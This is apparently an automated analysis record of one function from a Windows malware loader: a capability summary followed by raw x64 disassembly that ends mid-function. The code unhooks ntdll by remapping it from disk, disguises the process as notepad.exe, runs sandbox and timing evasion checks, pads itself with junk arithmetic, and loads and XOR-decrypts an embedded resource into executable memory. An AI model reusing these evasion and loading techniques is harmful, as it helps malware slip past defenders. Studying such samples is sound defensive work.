Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x428
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x390], xmm6
mov dword [rbp + 0x3c0], ecx
mov qword [rbp + 0x3c8], rdx
call fcn.140002d80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x330], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x328], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x320], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
jne 0x140001532
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
je 0x140001aee
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x130]
mov rax, qword [rbp + 0x320]
mov r10, qword [rbp + 0x388]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x318], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x310]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x308], rax
mov ecx, 0xed0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x300], rax
mov dword [rbp + 0x384], 0
jmp 0x140001659
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x300]
add rax, rdx
movsd xmm1, qword [0x140006158]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x1d9
jle 0x14000161b
mov dword [rbp + 0x384], 0
jmp 0x1400016c3
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x300]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x384]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x300]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x1d9
jle 0x140001671
mov rax, qword [rbp + 0x308]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x318]
add rax, rdx
mov qword [rbp + 0x2e8], rax
mov word [rbp + 0x382], 0
jmp 0x140001ad6
mov rax, qword [rbp + 0x2e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2e8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x382]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ac5
mov dword [rbp + 0xf8], 0
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d8], rax
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d0], rax
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x37c], 0
jmp 0x1400018d5
mov dword [rbp + 0x378], 0
jmp 0x1400018c1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2d8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x378]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2d0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x378]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x378], 1
cmp dword [rbp + 0x378], 0x4b
jle 0x1400017f2
add dword [rbp + 0x37c], 1
cmp dword [rbp + 0x37c], 0xb
jle 0x1400017e3
mov dword [rbp + 0x37c], 0
jmp 0x1400019c4
mov dword [rbp + 0x378], 0
jmp 0x1400019b0
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2d8]
add rdx, rax
mov eax, dword [rbp + 0x378]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2d0]
add rdx, rax
mov eax, dword [rbp + 0x378]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2c8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x378]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x378], 1
cmp dword [rbp + 0x378], 0x4b
jle 0x140001900
add dword [rbp + 0x37c], 1
cmp dword [rbp + 0x37c], 0xb
jle 0x1400018f1
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xf8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2f8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xf8]
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x318]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xf8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x382]
add eax, 1
mov word [rbp + 0x382], ax
mov rax, qword [rbp + 0x2e8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x382], ax
jb 0x14000173d
mov dword [rbp + 0x374], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x368], xmm0
add dword [rbp + 0x374], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x374]
movsd xmm0, qword [0x140006160]
addsd xmm0, xmm1
mov rax, qword [0x140006168]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400041d0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x374]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006160]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x368]
addsd xmm0, xmm1
movsd qword [rbp + 0x368], xmm0
cmp dword [rbp + 0x374], 0x11b
jle 0x140001b04
movsd xmm1, qword [rbp + 0x368]
movsd xmm0, qword [0x140006170]
mulsd xmm0, xmm1
movsd qword [rbp + 0x368], xmm0
mov dword [rbp + 0x364], 0xffffffff
mov ecx, 0x1648
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c0], rax
add dword [rbp + 0x364], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006158]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
movsd xmm1, qword [0x140006160]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x364]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x364], 0x2c7
jle 0x140001bc1
mov dword [rbp + 0xfc], 0
mov rax, qword [rbp + 0x330]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xfc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x2b8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x108]
add rax, 0x3c
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x2b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x1208
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a8], rax
mov ecx, 0x1208
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x360], 0
jmp 0x140001dbc
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x240
jle 0x140001d32
mov dword [rbp + 0x360], 0
jmp 0x140001e2a
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x360]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e50
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x240
jle 0x140001dd8
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0
je 0x140002cac
mov rax, qword [rbp + 0x298]
mov edx, 0x617
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x294], eax
mov qword [rbp + 0x288], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x280]
mov r9d, 0x3000
mov r8d, 0x2cb
mov edx, 0
call rax
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
je 0x140002cac
lea rax, str.mbdfroddqzxvdyat.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x140002cac
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
je 0x140002cac
mov rax, qword [rbp + 0x270]
mov edx, 0x528
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x26c], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x260], rax
cmp qword [rbp + 0x260], 0
je 0x140002cac
mov rax, qword [rbp + 0x260]
mov edx, 0x509
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x25c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
call rax
mov dword [rbp + 0x24c], eax
mov ecx, 0x3c6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x250]
call rax
mov dword [rbp + 0x248], eax
mov eax, dword [rbp + 0x248]
sub eax, dword [rbp + 0x24c]
cmp eax, 0x394
jbe 0x140002cac
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
je 0x140002cac
mov rax, qword [rbp + 0x240]
mov edx, 0x5c5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x23c], eax
mov qword [rbp + 0x230], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x228]
mov r9d, 0x3000
mov r8d, 0x38a
mov edx, 0
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
je 0x140002cac
mov qword [rbp + 0x220], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x218]
mov r9d, 0x3000
mov r8d, 0x35f
mov edx, 0
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x140002cac
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
je 0x140002cac
mov rax, qword [rbp + 0x210]
mov edx, 0x442
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x20c], eax
mov rax, qword [rbp + 0x328]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x35c], 0xffffffff
mov ecx, 0x1330
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f8], rax
add dword [rbp + 0x35c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006158]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
movsd xmm1, qword [0x140006160]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x35c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x35c], 0x264
jle 0x140002239
lea rax, str.LBWDL
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x200]
lea r8, str.LBWDL
mov ecx, 0
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x328]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1e8]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x328]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1d0], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c8], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c0], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x354], 0x3ae
mov dword [rbp + 0x358], 0
jmp 0x14000245d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x358]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x358]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x3ae
jle 0x1400023ca
mov dword [rbp + 0x358], 0
jmp 0x1400024fc
mov eax, dword [rbp + 0x354]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1d0]
add rax, rdx
mov edx, dword [rbp + 0x358]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x354]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov edx, dword [rbp + 0x358]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1b8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x354], 1
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x3ae
jle 0x14000247c
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x328]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x350], 0
jmp 0x1400025b6
call sub.msvcrt.dll_rand
imul eax, eax, 0xd4
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006158]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004000
movq rax, xmm0
mov qword [rbp + 0x150], rax
add dword [rbp + 0x350], 1
cmp dword [rbp + 0x350], 0x352
jle 0x140002575
mov rax, qword [rbp + 0x328]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1d8]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1b0]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1a0], rax
mov ecx, 0x1890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
mov ecx, 0x1890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x34c], 0
jmp 0x1400026d5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x34c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x34c], 1
cmp dword [rbp + 0x34c], 0x311
jle 0x14000264b
mov dword [rbp + 0x34c], 0
jmp 0x140002743
mov eax, dword [rbp + 0x34c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x34c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x190]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x34c], 1
cmp dword [rbp + 0x34c], 0x311
jle 0x1400026f1
mov rax, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1d8]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rbp + 0x1a8]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1d8]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x188]
mov r9, qword [rbp + 0x180]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x344], 0
mov dword [rbp + 0x340], 0
movabs rax, 0xe7732f195c83319
movabs rdx, 0xf3a745c133575e3a
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x2b744930b24b6e66
movabs rdx, 0xe5ddd7e034c3234a
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xb3b0869db906e5
mov qword [rbp - 0x21], rax
movabs rax, 0xfc38e47fe5e51591
movabs rdx, 0x60dcb265223167fb
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x28863f3170e0910f
movabs rdx, 0xe8b545f860589a88
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x58007e9f23b2b974
movabs rdx, 0xfd66c14b5000981e
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x7374afb7e22b5ea1
movabs rdx, 0x34fd92960d723ce9
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x890c79afc224e126
movabs rdx, 0x9ec919648fdcfa2e
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xe57cefca533b2903
movabs rdx, 0xda98637ec2805ebe
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xbf2ded4968f1c6d9
movabs rdx, 0xdfd2e9ba60b6b45d
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x722228dfd2e9ba60
movabs rdx, 0x80afbaff887efd
mov qword [rbp + 0xdb], rax
mov qword [rbp + 0xe3], rdx
mov dword [rbp + 0x348], 0
jmp 0x1400029a4
mov eax, dword [rbp + 0x348]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x344]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x348]
cdqe
mov byte [rbp + rax - 0x10], dl
cmp dword [rbp + 0x344], 0x25
jne 0x140002996
mov dword [rbp + 0x344], 0
jmp 0x14000299d
add dword [rbp + 0x344], 1
add dword [rbp + 0x348], 1
mov eax, dword [rbp + 0x348]
cmp eax, 0x79
jbe 0x140002959
mov dword [rbp + 0x348], 0
jmp 0x140002c13
mov eax, dword [rbp + 0x348]
movsxd rdx, eax
